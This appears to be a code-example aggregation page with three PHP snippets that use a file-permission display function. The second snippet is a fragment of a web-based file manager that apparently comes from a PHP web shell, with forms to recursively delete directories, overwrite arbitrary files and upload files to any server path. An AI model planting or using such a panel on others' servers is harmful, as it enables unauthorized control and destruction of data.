Exemplo n.º 1
0
function check_file($file)
{
    if (!file_exists($file)) {
        echo "[FATAL] {$file} can not be found.\n";
        exit;
    }
    cdebug("{$file} exists");
    if (!is_readable($file)) {
        echo "[FATAL] can't read {$file} even though it exists, check permissions: ";
        display_perms(fileperms($file));
        exit;
    }
    cdebug("{$file} is readable");
    return true;
}
Exemplo n.º 2
0
     echo "<table border=0 cellspacing=1 cellpadding=1 class=tab>";
     echo "<tr class=tr><td>&nbsp;&nbsp;&nbsp;" . mm("Owner") . "/" . mm("Group") . "&nbsp;&nbsp;&nbsp;</td><td>";
     $tmp = @_posix_getpwuid(fileowner($d . $f));
     if (!isset($tmp['name']) || $tmp['name'] == "") {
         echo fileowner($d . $f) . " ";
     } else {
         echo $tmp['name'] . " ";
     }
     $tmp = @_posix_getgrgid(filegroup($d . $f));
     if (!isset($tmp['name']) || $tmp['name'] == "") {
         echo filegroup($d . $f);
     } else {
         echo $tmp['name'];
     }
     echo "</td></tr><tr class=tr><td>";
     echo mm("Perms") . "</td><td>" . display_perms(fileperms($d . $f)) . "</td></tr><tr class=tr><td>";
     echo mm("Create time") . "</td><td>" . date("d/m/Y H:i:s", filectime($d . $f)) . "</td></tr><tr class=tr><td>";
     echo mm("Access time") . "</td><td>" . date("d/m/Y H:i:s", fileatime($d . $f)) . "</td></tr><tr class=tr><td>";
     echo mm("MODIFY time") . "</td><td>" . date("d/m/Y H:i:s", filemtime($d . $f)) . "</td></tr></table>";
     echo "</tD><form action={$self} method=get><td width=70>&nbsp;</td><td>\n   <input type=hidden name=c value=\"tree\">\n   Root <input type=text name=d value=\"{$d}\"><br>\n   <input type=checkbox name=showfile value=1 id=tree1><label for=tree1>Show files in tree</label><br>\n   <input type=checkbox name=showsize value=1 id=tree2 checked><label for=tree2>Show dir/files size</label><br>\n   <input type=submit value='Show TREE directory'>";
     echo "</td></form></tr></table><P>";
     if (!$write_access) {
         exitw();
     }
     echo "<b>" . mm("FILE SYSTEM COMMANDS") . "</b><p>";
     echo "\n<table border=0 cellspacing=0 cellpadding=0><tr>\n\n<td><form action={$self} method=post>\n<input type=hidden name=c value=dirdelete>\n<input type=hidden name=c2 value=files>\n<input type=hidden name=d value=\"" . htmlspecialchars($d) . "\">\n<input type=hidden name=ref value=\"{$url}\">\n<input type=submit value='" . mm("Delete all files in dir") . " (rm *)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr>\n</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>\n\n<td><form action={$self} method=post>\n<input type=hidden name=c value=dirdelete>\n<input type=hidden name=c2 value=dir>\n<input type=hidden name=d value=\"" . htmlspecialchars($d) . "\">\n<input type=hidden name=ref value=\"{$url}\">\n<input type=submit value='" . mm("Delete all dir/files recursive") . " (rm -fr)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr>\n</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>\n\n</tr></table>\n";
     echo "\n<form action={$self} method=post>\n<b>" . mm("MAKE DIR") . "</b> (type full path)\n<input type=hidden name=c value=newdir_submit>\n<input type=text size=60 name=df value=\"" . htmlspecialchars($d) . "\">\n<input type=submit value='" . mm("MkDir") . "'>\n</form>";
     echo "\n<form action={$self} method=post>\n<b>" . mm("CREATE NEW FILE or override old file") . "</b><br>\n<input type=hidden name=c value=newfile_submit>\n" . mm("Full file name") . " <input type=text size=50 name=df value=\"" . htmlspecialchars($d) . "\">\n<input type=submit value='" . mm("CREATE/OVERRIDE") . "'>\n<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br>\n<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br>\n</form>";
     echo "\n<form enctype='multipart/form-data' action='{$self}' method=post>\n<input type=hidden name=c value=fileupload_submit>\n<b>(FILE UPLOAD) " . mm("CREATE NEW FILE or override old file") . "</b><br>\n<input type=hidden name='MAX_FILE_SIZE' value=999000000>\n1. " . mm("select file on your local computer") . ": <input name=userfile type=file><br>\n2. " . mm("save this file on path") . ": \n  <input name=df size=50 value=\"" . realpath($d) . "/\"><br>\n3. <input type=checkbox name=df2 value=1 id=df2 checked>\n  <label for=df2>" . mm("create file name automatic") . "</label>\n  &nbsp;&nbsp;" . mm("OR") . "&nbsp;&nbsp;\n  " . mm("type any file name") . ":\n  <input name=df3 size=20><br>\n4. <input type=checkbox name=df4 value=1 id=df4>\n  <label for=df4>" . mm("convert file name to lovercase") . "</label><br>\n<input type=submit value='" . mm("Send File") . "'>\n</form>";
     break;
 case "tree":
Exemplo n.º 3
0
/**
 * get verbose version of file right
 * @return string
 * @author Christophe Gesché <*****@*****.**>
 */
function debug_IO($file = '')
{
    $infoResult = '[Script :       ' . $_SERVER['PHP_SELF'] . ']' . '[Server :       ' . $_SERVER['SERVER_SOFTWARE'] . ']' . '[Php :          ' . claro_call_function('phpversion') . ']' . '[sys :          ' . claro_call_function('php_uname') . ']' . '[My uid :       ' . claro_call_function('getmyuid') . ']' . '[current_user : '******'get_current_user') . ']' . '[my gid :       ' . claro_call_function('getmygid') . ']' . '[my inode :     ' . claro_call_function('getmyinode') . ']' . '[my pid :       ' . claro_call_function('getmypid') . ']' . '[space  : ' . ' - free -  :    ' . claro_call_function('disk_free_space', '..') . ' - total - :    ' . claro_call_function('disk_total_space', '..') . ']';
    if ($file != '') {
        $infoResult .= '<hr /> ' . '<strong>' . $file . '</strong> = ' . '[<strong>o</strong>:' . fileowner($file) . ' <strong>g</strong>:' . filegroup($file) . ' ' . display_perms(fileperms($file)) . ']';
        if (is_dir($file)) {
            $infoResult .= '-Dir-';
        }
        if (is_file($file)) {
            $infoResult .= '-File-';
        }
        if (is_link($file)) {
            $infoResult .= '-Lnk-';
        }
        if (claro_call_function('is_executable', $file)) {
            $infoResult .= '-X-';
        }
        if (claro_call_function('is_readable', $file)) {
            $infoResult .= '-R-';
        }
        if (claro_call_function('is_writeable', $file)) {
            $infoResult .= '-W-';
        }
    }
    $file = '.';
    $infoResult .= '<hr /> <strong>' . $file . '</strong> - ' . '[<strong>o</strong>:' . fileowner($file) . ' <strong>g</strong>:' . filegroup($file) . ' ' . display_perms(fileperms($file)) . ']';
    if (is_dir($file)) {
        $infoResult .= '-Dir-';
    }
    if (is_file($file)) {
        $infoResult .= '-File-';
    }
    if (is_link($file)) {
        $infoResult .= '-Lnk-';
    }
    if (claro_call_function('is_executable', $file)) {
        $infoResult .= '-X-';
    }
    if (claro_call_function('is_readable', $file)) {
        $infoResult .= '-R-';
    }
    if (claro_call_function('is_writeable', $file)) {
        $infoResult .= '-W-';
    }
    $file = '..';
    $infoResult .= '<hr /> <strong>' . $file . '</strong> - ' . '[<strong>o</strong>:' . fileowner($file) . ' <strong>g</strong>:' . filegroup($file) . ' ' . display_perms(fileperms($file)) . ']';
    if (is_dir($file)) {
        $infoResult .= '-Dir-';
    }
    if (is_file($file)) {
        $infoResult .= '-File-';
    }
    if (is_link($file)) {
        $infoResult .= '-Lnk-';
    }
    if (claro_call_function('is_executable', $file)) {
        $infoResult .= '-X-';
    }
    if (is_readable($file)) {
        $infoResult .= '-R-';
    }
    if (is_writeable($file)) {
        $infoResult .= '-W-';
    }
    if (PRINT_DEBUG_INFO) {
        echo $infoResult;
    }
    return $infoResult;
}